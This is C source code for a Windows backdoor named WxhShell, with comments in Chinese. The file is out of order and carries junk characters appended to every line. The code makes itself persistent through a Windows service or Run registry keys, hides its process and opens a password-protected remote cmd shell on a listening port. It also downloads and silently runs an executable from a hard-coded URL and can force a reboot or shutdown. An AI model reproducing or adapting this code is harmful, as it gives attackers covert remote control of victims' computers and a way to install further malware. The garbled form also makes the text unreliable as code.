    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }pbBo2  
    else { ^2C0oX  
    closesocket(wsh); XRClBTKF  
    ExitThread(0); x>U1t!'  
    } EC^Ev|PB\u  
    break; 9`)w@-~~  
    } + 9F^F>mu  
  // 获取shell NFrNm'v  
  case 's': { A2}Z *U(;  
    CmdShell(wsh); |h#DL$  
    closesocket(wsh); JZs|~@  
    ExitThread(0); ,k4z;  
    break; >2]Eaw&W  
  } * i=?0M4S  
  // 退出 w{_e"N  
  case 'x': { +A]&AkTw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z}sG3p  
    CloseIt(wsh); d9`3EP)n  
    break; 1mT|o_K{ T  
    } cmwzKu%  
  // 离开 34X(J-1\|i  
  case 'q': { f}L>&^I)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u@GRN`yn  
    closesocket(wsh); nQ:ml  
    WSACleanup(); *,O :>Z5I  
    exit(1); +O;OSZ  
    break; X{0ax.  
        } se<i5JsSV  
  } V-?sek{;  
  } P@gu~!  
8+*g4=ws  
  // 提示信息 ]&3s6{R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *%ed;>6:Q  
} 5W?yj>JR  
  } g28S3 '2  
8L]gQ g  
  return; {B'Gm]4  
} &,m'sQ  
I>< 99cwFI  
// shell模块句柄 ?)A]q' O  
int CmdShell(SOCKET sock) x:f|3"\s  
{ O vyB<r  
STARTUPINFO si; GCf._8;%  
ZeroMemory(&si,sizeof(si)); XA&tTpfJE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a}5vY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W+#}~2&Dv  
PROCESS_INFORMATION ProcessInfo; 4FfwpO3,Ku  
char cmdline[]="cmd"; BxSk%$J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xm<5S;E5U4  
  return 0; [JX}1%NA  
} M9uH&CD6U  
H$k![K6Uj  
// 自身启动模式 ?=/}Ft  
int StartFromService(void) JL" 3#p}  
{ afxj[;p!  
typedef struct zxk??0] /  
{ %4|n-`:  
  DWORD ExitStatus; _'?8s6 H  
  DWORD PebBaseAddress; RT.wTJS;  
  DWORD AffinityMask; WU+Jo@]y  
  DWORD BasePriority; "}]GQt< F  
  ULONG UniqueProcessId; EWu iaw.  
  ULONG InheritedFromUniqueProcessId; _0DXQS\  
}   PROCESS_BASIC_INFORMATION; beN>5coP%A  
"6`)vgI~  
PROCNTQSIP NtQueryInformationProcess; wu&|~@_s@  
<2o.,2?G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g(@$uJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^Ff~j&L@{  
!Zk%P  
  HANDLE             hProcess; f^[{k {t  
  PROCESS_BASIC_INFORMATION pbi; bMK#^ZoH  
=\ti<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "6I-]:K-  
  if(NULL == hInst ) return 0; P-E'cb%ub  
h-?q6O/|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )$gsU@H -  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +(I`@5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); giPhW>  
D]G'R5H  
  if (!NtQueryInformationProcess) return 0; g|GvJ)VX  
+ e5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 94qHY1rp  
  if(!hProcess) return 0; brYYuN|Vc  
C]\^B6l<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *uI hxMX  
\Age9iz&  
  CloseHandle(hProcess); :o.x=c B  
<6}f2^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZZ]OR;8  
if(hProcess==NULL) return 0; @MlU!oR&  
<WHs  
HMODULE hMod; "a0u-}/D  
char procName[255]; m>Z\ rqOK  
unsigned long cbNeeded; Ul$X%  
=}%#$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pb/{ss+  
ZVL- o<6  
  CloseHandle(hProcess); !Z+*",]_  
5ykk11!p$  
if(strstr(procName,"services")) return 1; // 以服务启动 TY54e T  
JT.\f,z&  
  return 0; // 注册表启动 fo!Lp*'0  
} 7=QC+XSO  
Pw^c2TQ  
// 主模块 Ye\*b? 6  
int StartWxhshell(LPSTR lpCmdLine) +>i<sk  
{ )bIK0h  
  SOCKET wsl; S}v{^vR  
BOOL val=TRUE; l_YdIUl  
  int port=0; ?*z( 1!  
  struct sockaddr_in door; 02J6Pn3  
.J1Hg  
  if(wscfg.ws_autoins) Install(); {'c%#\  
WDH[kJ  
port=atoi(lpCmdLine); u':0"5}  
:m)Rmwn_  
if(port<=0) port=wscfg.ws_port; giSG 6'WA  
~*cY&  9  
  WSADATA data; ]UCk_zWsn1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ik1L  
R.2KYhp ,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rmg";(I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |S>J<]H p  
  door.sin_family = AF_INET; %<ptkZK#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^7s6J {<  
  door.sin_port = htons(port); :#W>SO  
Hs4zJk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P^_d$  
closesocket(wsl); Ng_rb KXC#  
return 1; \}4#**]  
} 2=/g~rp*  
tO+%b=Z^  
  if(listen(wsl,2) == INVALID_SOCKET) { 8O.:3%D~ t  
closesocket(wsl); 21/a3Mlx#  
return 1; bKt3x+x(  
} 'De'(I  
  Wxhshell(wsl); m[xf./@f{  
  WSACleanup(); ZoNNM4M+  
QkCoW[sn  
return 0; *p#YK|  
XvzV lKL  
} ?/l}(t$H  
iz  GaV[  
// 以NT服务方式启动 <rwOI.W l$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;5oH6{7_Z  
{ dV2b)p4J  
DWORD   status = 0; i:Z.;z$1  
  DWORD   specificError = 0xfffffff; QhE("}1  
rD(ep~^M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Dpp52UnT E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y^*$PED?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?D )qgH  
  serviceStatus.dwWin32ExitCode     = 0; 1TxhEXB  
  serviceStatus.dwServiceSpecificExitCode = 0; AZ]SRz9mKY  
  serviceStatus.dwCheckPoint       = 0; ]-s`#  
  serviceStatus.dwWaitHint       = 0; _9O }d  
i2ml[;*,N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _qzo):G.s  
  if (hServiceStatusHandle==0) return; 4Tzu"y  
ry'^1~,  
status = GetLastError(); %wjU^Urya  
  if (status!=NO_ERROR) xX4^nem\G  
{ ://|f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Dgq[g_+l  
    serviceStatus.dwCheckPoint       = 0; (27F   
    serviceStatus.dwWaitHint       = 0; VY&9kN  
    serviceStatus.dwWin32ExitCode     = status; 85@6uBh  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8DS5<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); knK=ENf;e  
    return; ;'18  
  } %{VI-CQ  
eUw;!Du  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -WW!V(~p  
  serviceStatus.dwCheckPoint       = 0; ]'ApOp  
  serviceStatus.dwWaitHint       = 0; 4#7@KhK}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g`8 mh&u%  
} ~ {7N TW  
2|NyAtPb5  
// 处理NT服务事件,比如:启动、停止 QsF<=b~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 36Z`.E>~L  
{ ^nm!NL{z^  
switch(fdwControl) B oj{+rE0  
{ owY_cDzrH  
case SERVICE_CONTROL_STOP: \7tvNa,C  
  serviceStatus.dwWin32ExitCode = 0; k&"qdB(I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O7CYpn4<7  
  serviceStatus.dwCheckPoint   = 0; ']6#7NU  
  serviceStatus.dwWaitHint     = 0; +U/"F|M  
  { Lp]C![\>U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (uK), *6B  
  } BiLreZ~"  
  return; FivaCNA  
case SERVICE_CONTROL_PAUSE: uy-Ncy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [ MXXY  
  break; ?QIQ,?.  
case SERVICE_CONTROL_CONTINUE: <sFf'W_3{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yExyx?j.  
  break; m}'@S+k^  
case SERVICE_CONTROL_INTERROGATE: Rw=E_q{  
  break; , G/X"t ~  
}; | v'5*n9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +p}Xmn  
} "u]Fl+c  
8}0y)aJ  
// 标准应用程序主函数 wG[l9)lz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F5Q. Vh  
{ +4p ;4/=  
(X7yNIPfA  
// 获取操作系统版本 HY|SLk/E  
OsIsNt=GetOsVer(); ,Y5 4(>>%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #<>E+r+  
zr9Pm6Rl  
  // 从命令行安装 &E '>+6  
  if(strpbrk(lpCmdLine,"iI")) Install(); RkV3_c  
Sm_:SF!<D6  
  // 下载执行文件 ^A<.s_  
if(wscfg.ws_downexe) { n *0F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o%>nu  
  WinExec(wscfg.ws_filenam,SW_HIDE); nMoF;AdKm  
} Oc+L^}elJ  
4_:e+ ql  
if(!OsIsNt) { 43Uy<%yb>}  
// 如果时win9x,隐藏进程并且设置为注册表启动 VQ;- dCV  
HideProc(); r$eL-jQmn  
StartWxhshell(lpCmdLine); |w]i$`3'I  
} &ziB#(&:H  
else 8A]q!To  
  if(StartFromService()) ;B7|tajd  
  // 以服务方式启动 G8-d%O p  
  StartServiceCtrlDispatcher(DispatchTable); p;Ok.cXVp  
else 0 S8{VZpy  
  // 普通方式启动  !3M!p&  
  StartWxhshell(lpCmdLine); 95&sFT C  
J 2~B<=V  
return 0; l+X^x%EA  
} Sh6 NgO  
a#Gq J?nY  
(xJBN?NRO  
"MP{z~M mj  
=========================================== l>P~M50D?{  
= |zLr"  
o@~gg *  
}4`YdN  
xT( .#9  
GuDD7~qxY  
" }33Au-%*  
.%h_W\M<l  
#include <stdio.h> `fVA. %  
#include <string.h> (P] ^5D  
#include <windows.h> V"p*Jd"w  
#include <winsock2.h> B>L^XGq  
#include <winsvc.h> Z{)|w=  
#include <urlmon.h> 2YEn)A@8  
. k DCcnm  
#pragma comment (lib, "Ws2_32.lib") ]V\ g$@  
#pragma comment (lib, "urlmon.lib") o%Q'<0d  
cwU6}*_zn  
#define MAX_USER   100 // 最大客户端连接数 p)] ^>-L  
#define BUF_SOCK   200 // sock buffer  0d)n} fm  
#define KEY_BUFF   255 // 输入 buffer hrxASAfg6  
iU|C<A%Hh  
#define REBOOT     0   // 重启 -/*{^[  
#define SHUTDOWN   1   // 关机 ViONG]F  
;yoq/  
#define DEF_PORT   5000 // 监听端口 !aoO,P#j  
[vJosbU;  
#define REG_LEN     16   // 注册表键长度 _\]UA?0  
#define SVC_LEN     80   // NT服务名长度 cl8Mv  
~t$VzL1  
// 从dll定义API J sdEA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j}Mpc;XOc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M/ \~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BNLall  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +eat,3Ji  
 %tjEVQa  
// wxhshell配置信息 Q'LU?>N)/  
struct WSCFG { , >6X_XJQ  
  int ws_port;         // 监听端口 } trMQ  
  char ws_passstr[REG_LEN]; // 口令 @g?z>n n  
  int ws_autoins;       // 安装标记, 1=yes 0=no A#\X-8/  
  char ws_regname[REG_LEN]; // 注册表键名 xk<0QYv   
  char ws_svcname[REG_LEN]; // 服务名 Jx,s.Z0@7,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S!bvU2d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '?[msX"aqa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4K,&Q/Vdd7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SxyFFt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %|||M=akk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7] H4E.(l  
C_;6-Q%V  
}; oOw"k*,h:S  
^ `9OA`2  
// default Wxhshell configuration g M.(BN  
struct WSCFG wscfg={DEF_PORT, iE{SqX  
    "xuhuanlingzhe", eLWzd_ln  
    1, [:Y^0[2  
    "Wxhshell", {rr\hl-$  
    "Wxhshell", E_#&L({|@  
            "WxhShell Service", q9Wtu7/  
    "Wrsky Windows CmdShell Service", tp0*W _<4  
    "Please Input Your Password: ", 4cL=f  
  1, JaTW/~ TU  
  "http://www.wrsky.com/wxhshell.exe", S|i //I%_  
  "Wxhshell.exe" JD .z}2+  
    }; i;7jJ(#V  
5 [*jfOz  
// 消息定义模块 Ei!z? sxzx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uDUSR+E>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;* Jd#O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o qTh )  
char *msg_ws_ext="\n\rExit."; q2Dg~et  
char *msg_ws_end="\n\rQuit."; GH!#"Sl8Z  
char *msg_ws_boot="\n\rReboot..."; -. G0k*[d  
char *msg_ws_poff="\n\rShutdown..."; gqamGLK  
char *msg_ws_down="\n\rSave to "; :\XD.n-n  
6y5~Kh6  
char *msg_ws_err="\n\rErr!"; UJ+JVj   
char *msg_ws_ok="\n\rOK!"; ~M=`f{-$K  
(nG  
char ExeFile[MAX_PATH]; Si(?+bda0c  
int nUser = 0; }r[BME  
HANDLE handles[MAX_USER]; [\y>Gv%  
int OsIsNt; TW$^]u~v  
G{9y`;  
SERVICE_STATUS       serviceStatus; mNzZ/*n:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e78}  
6I<`N  
// 函数声明 ^  +G> N  
int Install(void); ud1E@4;qf  
int Uninstall(void); ?6gI8K6X  
int DownloadFile(char *sURL, SOCKET wsh); QS_xOQ '  
int Boot(int flag); yCVBG  
void HideProc(void); :nn'>  
int GetOsVer(void); xMu6PM<l  
int Wxhshell(SOCKET wsl); -`JY] H  
void TalkWithClient(void *cs); N_U D7P1  
int CmdShell(SOCKET sock); 7(-<x@e  
int StartFromService(void); K>U &jH  
int StartWxhshell(LPSTR lpCmdLine); (G Y`O  
/nNHI34  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %1<|.Dmd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A}o1I1+  
"=)`*"rr  
// 数据结构和表定义 >jm9x1+C  
SERVICE_TABLE_ENTRY DispatchTable[] = qIl@,8T  
{ n$8A"'.M  
{wscfg.ws_svcname, NTServiceMain}, ] N8V?.|:  
{NULL, NULL} >ZT3gp?E  
}; lH 8?IkK,g  
G4~J+5m k  
// 自我安装 GOjri  
int Install(void) o<;"+@v  
{ d4U_Wu&  
  char svExeFile[MAX_PATH]; -#@;-2w  
  HKEY key; ZzY6M"eUXD  
  strcpy(svExeFile,ExeFile); p}\!"&,^m  
!!AutkEg>  
// 如果是win9x系统,修改注册表设为自启动 (<t)5?@%  
if(!OsIsNt) { f#?R!pR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^"I!+Teb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P]G2gDO  
  RegCloseKey(key); lnhZ!_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \4 DH&gZ[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k K(,FB  
  RegCloseKey(key); e): &pqA  
  return 0; ! d(,t[cV  
    } 3z#16*  
  } KR63W:Z\'  
} fjf\/%  
else { *e=e7KC6kI  
RN;Tqq):  
// 如果是NT以上系统,安装为系统服务 6K6ihR!d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4^ A\w  
if (schSCManager!=0) H~&'`h1  
{ !^%b|=[  
  SC_HANDLE schService = CreateService %%#zO Z  
  ( 5E]I  
  schSCManager, %NuS!v>  
  wscfg.ws_svcname, gBN;j  
  wscfg.ws_svcdisp, 7_LE2jpC,5  
  SERVICE_ALL_ACCESS, Lgy}Gm8u5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }6\p7n  
  SERVICE_AUTO_START, 3Dy.mtP  
  SERVICE_ERROR_NORMAL, 5,A/6b  
  svExeFile, "{}5uth  
  NULL, 2Ig.hnHj  
  NULL, }\B6d\k  
  NULL, sBh|y F,  
  NULL, /h;X1Htx}  
  NULL ?6|EAKJ`lK  
  ); SI\zW[IL  
  if (schService!=0) 9 HuE'(wQ  
  { MQAb8 K:e  
  CloseServiceHandle(schService); Ood&cP'c  
  CloseServiceHandle(schSCManager); #u>JCPz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p AD@oPC  
  strcat(svExeFile,wscfg.ws_svcname); hP #>`)aNY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y3l sAe#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6D>o(b2  
  RegCloseKey(key); sXAXHZ{  
  return 0; m$3&r2vgi  
    } m]85F^R0  
  } aX~7NslR  
  CloseServiceHandle(schSCManager); Vki3D'.7N  
} UGIyNMY  
} J::dY~@  
TMbj]Mso  
return 1; ) Limt<S  
} yzYPT}t  
w%kxY5q  
// 自我卸载 &N,c:dNe  
int Uninstall(void) ,+f'%)s_x  
{ KV Mm<]Z  
  HKEY key; EBJaFz'  
r>5,U:6Q/  
if(!OsIsNt) { *@dqAr%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t>^An:xT  
  RegDeleteValue(key,wscfg.ws_regname); I-^Y$6-  
  RegCloseKey(key); ;s{rJG{inG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P66>w})@  
  RegDeleteValue(key,wscfg.ws_regname); (sZ B-  
  RegCloseKey(key); yPW?%7 h  
  return 0; I~Ziq10  
  } mN, Od?q[  
} ~%'M[3Rb  
} +~ HL"Vv  
else { dQt]r  
8uNq353  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z@dHXj )  
if (schSCManager!=0) hC,EO&  
{ i0hF9M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xGN&RjPk\  
  if (schService!=0) X ZfT;!wF&  
  { &GX pRo  
  if(DeleteService(schService)!=0) { ^+I{*0{/[  
  CloseServiceHandle(schService); 26j ; RV  
  CloseServiceHandle(schSCManager); Y2}\~I0  
  return 0; R'He(x  
  } GC.   
  CloseServiceHandle(schService); sdrALl;w|  
  } &W*9'vSm.  
  CloseServiceHandle(schSCManager); 7aS`S F  
} yqZKn=1:  
}  RCKb5p9  
TX$j-TM'  
return 1; #Fq6-]y1")  
} {eL XVNR7R  
Y}QtgZEt  
// 从指定url下载文件 YjAwt;%-D  
int DownloadFile(char *sURL, SOCKET wsh) re:=fC:t5A  
{ U2seD5I  
  HRESULT hr; xwq {0jY  
char seps[]= "/"; /g@!#Dt  
char *token; i.Yz)Bw   
char *file; +TL5yuA  
char myURL[MAX_PATH]; (U4]d`  
char myFILE[MAX_PATH]; _O{3bIay3!  
Z)?B5FF  
strcpy(myURL,sURL); >yiK&LW^?  
  token=strtok(myURL,seps); :T.j;~  
  while(token!=NULL) `*^ f =y  
  { fnl~0   
    file=token; %8s$l'Q;  
  token=strtok(NULL,seps); Xi$2MyRd  
  } sk6C/ '0:  
B E!HM{-  
GetCurrentDirectory(MAX_PATH,myFILE); r Z%l?(  
strcat(myFILE, "\\"); R^4JM,v9x`  
strcat(myFILE, file); }N dknut,  
  send(wsh,myFILE,strlen(myFILE),0); xj\! Sn2  
send(wsh,"...",3,0); Xgou7x<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3w6}%=)$8  
  if(hr==S_OK) F$X"?fj  
return 0; ?U$H`[VF}  
else A&XI1. j6  
return 1; +G)L8{FY(  
hX;JMQ915  
} e'Njl?>3  
$DBJ"8n2  
// 系统电源模块 D<% /:M  
int Boot(int flag) Wb4+U;C^!'  
{ .'aW~WR  
  HANDLE hToken; XnR9/t  
  TOKEN_PRIVILEGES tkp; /x\{cHAt8J  
 UDl[  
  if(OsIsNt) { ^VabXGzo#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h)7hk*I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zg>4/10P1q  
    tkp.PrivilegeCount = 1; O7vJ`K(!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h'%iY6!fA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _[M*o0[@W  
if(flag==REBOOT) { 6ZKSet8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kbu.KU+  
  return 0; @M=xdZNyJ  
} B*B}eXUph  
else { 4E:kDl*@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f_'#wc6  
  return 0; $^~dqmE2,  
} _!_%Afz  
  } apmZ&Ab  
  else { _=$:<wIE[  
if(flag==REBOOT) { , !0-;H.Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {5`=){  
  return 0; q.I  
} @,kR<1  
else { )/Z% HBn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PLoD^3uG)  
  return 0; fRlO.!0(  
} jxeZ,w o  
} *e/8uFX  
9\ f%+?p  
return 1; pT ]:TRPS  
} iTUOJ3V7i  
_e4%<!1  
// win9x进程隐藏模块 ( &N`N1  
void HideProc(void) ~!//|q^ J]  
{ #u]'3en  
3pU/Z bb,:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {&3{_Ml  
  if ( hKernel != NULL ) :9?y-X  
  { u?xXZ]_u-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (58}G2}q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $<DcbJW  
    FreeLibrary(hKernel); J A!?vs  
  } >/J!:Htk+K  
ku*H*o~  
return; 'j&+Pg)@  
} ^(79SOZC  
V)q|U6R  
// 获取操作系统版本 ip)gI&kN`z  
int GetOsVer(void) HnlCEW,^o  
{ P80mK-Iyv_  
  OSVERSIONINFO winfo; 4C]>{osv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SyL:=NZ  
  GetVersionEx(&winfo); 7gxC xfL$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Cr&,*lUo  
  return 1; =pa F6!AB  
  else R%EpF'[~[  
  return 0; <36z,[,kZ@  
} yUY* l@v]  
w%'8bH!  
// 客户端句柄模块 caH!(V}6  
int Wxhshell(SOCKET wsl) Aq3.%,X2H  
{ zb_nU7Eg  
  SOCKET wsh; T>P[0`*)  
  struct sockaddr_in client; rP%B#%;S"  
  DWORD myID; sR;^7(f!m  
Lkf}+aY  
  while(nUser<MAX_USER) _-6IB>  
{ 5yl[#>qt  
  int nSize=sizeof(client); I_"Kh BM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8slOB>2#Y  
  if(wsh==INVALID_SOCKET) return 1; xQKRUHDc  
-mfdngp3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f?Am)  
if(handles[nUser]==0) -5X*y4#  
  closesocket(wsh); a]]>(Txc  
else myq:~^L ;  
  nUser++; _]aA58,j  
  } AhA4IOG`.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hH.X_X?d%  
D #Ku5~j  
  return 0; Ew,1*WK!  
} 6C@W6DR3N  
ca6kqh"  
// 关闭 socket 0pW?v:!H  
void CloseIt(SOCKET wsh) gR#lRA/  
{ %D_pTD\  
closesocket(wsh); }eLnTi{  
nUser--; #)BbW40f6  
ExitThread(0); 5`t MHgQO  
} /\-iV)h1@  
] -}Zd\Rs  
// 客户端请求句柄 .5AyB9a%&  
void TalkWithClient(void *cs) J{w[vcf  
{ xtq='s8e  
P \k5%  
  SOCKET wsh=(SOCKET)cs; \:/~IZdzF  
  char pwd[SVC_LEN]; rf\A[)<:  
  char cmd[KEY_BUFF]; UB9n7L(@c  
char chr[1]; Ms61FmA4  
int i,j; ZvVrbj&  
JlMD_pA  
  while (nUser < MAX_USER) { -F338J+J24  
5JvrQGvL  
if(wscfg.ws_passstr) { bf*VY&S- T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @gM>Lxj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S`t@L}  
  //ZeroMemory(pwd,KEY_BUFF); z4B-fS]  
      i=0; vj#Y /B  
  while(i<SVC_LEN) { ]f}#&]<(T  
iD"9,1@~n  
  // 设置超时 .$~zxd#zo  
  fd_set FdRead; NW%u#MZ[h  
  struct timeval TimeOut; qGK -f4  
  FD_ZERO(&FdRead); z%0'v`7  
  FD_SET(wsh,&FdRead); &aLelJ~  
  TimeOut.tv_sec=8; 9snc *<  
  TimeOut.tv_usec=0; %Bf;F;xuB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B\mRH V!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vCe]iB  
^|kqy<<X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yKb+bm&5:'  
  pwd=chr[0]; NpLO_-  
  if(chr[0]==0xd || chr[0]==0xa) { YEiQ`sYKG  
  pwd=0; }j\_XaB  
  break; }bA@QEJ  
  } %j4AX  
  i++; ?nc:B]=pTY  
    } , b;WCWm  
GUH-$rA  
  // 如果是非法用户,关闭 socket SSH 1Ge5|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @4FG & >kQ  
} Ro:DAxi @L  
s%OPoRE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PN"s ^]4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oEN^O:9e  
ed\umQ]   
while(1) { %K/zVYGm&  
Z!eW_""wp  
  ZeroMemory(cmd,KEY_BUFF); tQYkH$e`/{  
0<4Nf]i  
      // 自动支持客户端 telnet标准   kWW$*d$  
  j=0; XhEJF !  
  while(j<KEY_BUFF) { vlSSw+r9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BSd\Sg4  
  cmd[j]=chr[0]; MUjfqxTT  
  if(chr[0]==0xa || chr[0]==0xd) { )&pcRFl  
  cmd[j]=0; ^(c.A YI  
  break; 8H7=vk+  
  } % Ix   
  j++; 8Ts_;uId  
    } g*-%.fNA  
u,&[I^WK`C  
  // 下载文件 |J+oz7l?-  
  if(strstr(cmd,"http://")) { q7kE+z   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ekV|a1)  
  if(DownloadFile(cmd,wsh)) X1Vj"4'wT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tOT(!yz  
  else p?idl`?^3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ih\=mB  
  } M9ACaf@  
  else { DGrk}   
-Ed<Kl  
    switch(cmd[0]) { V X"! a  
  _i@4R<  
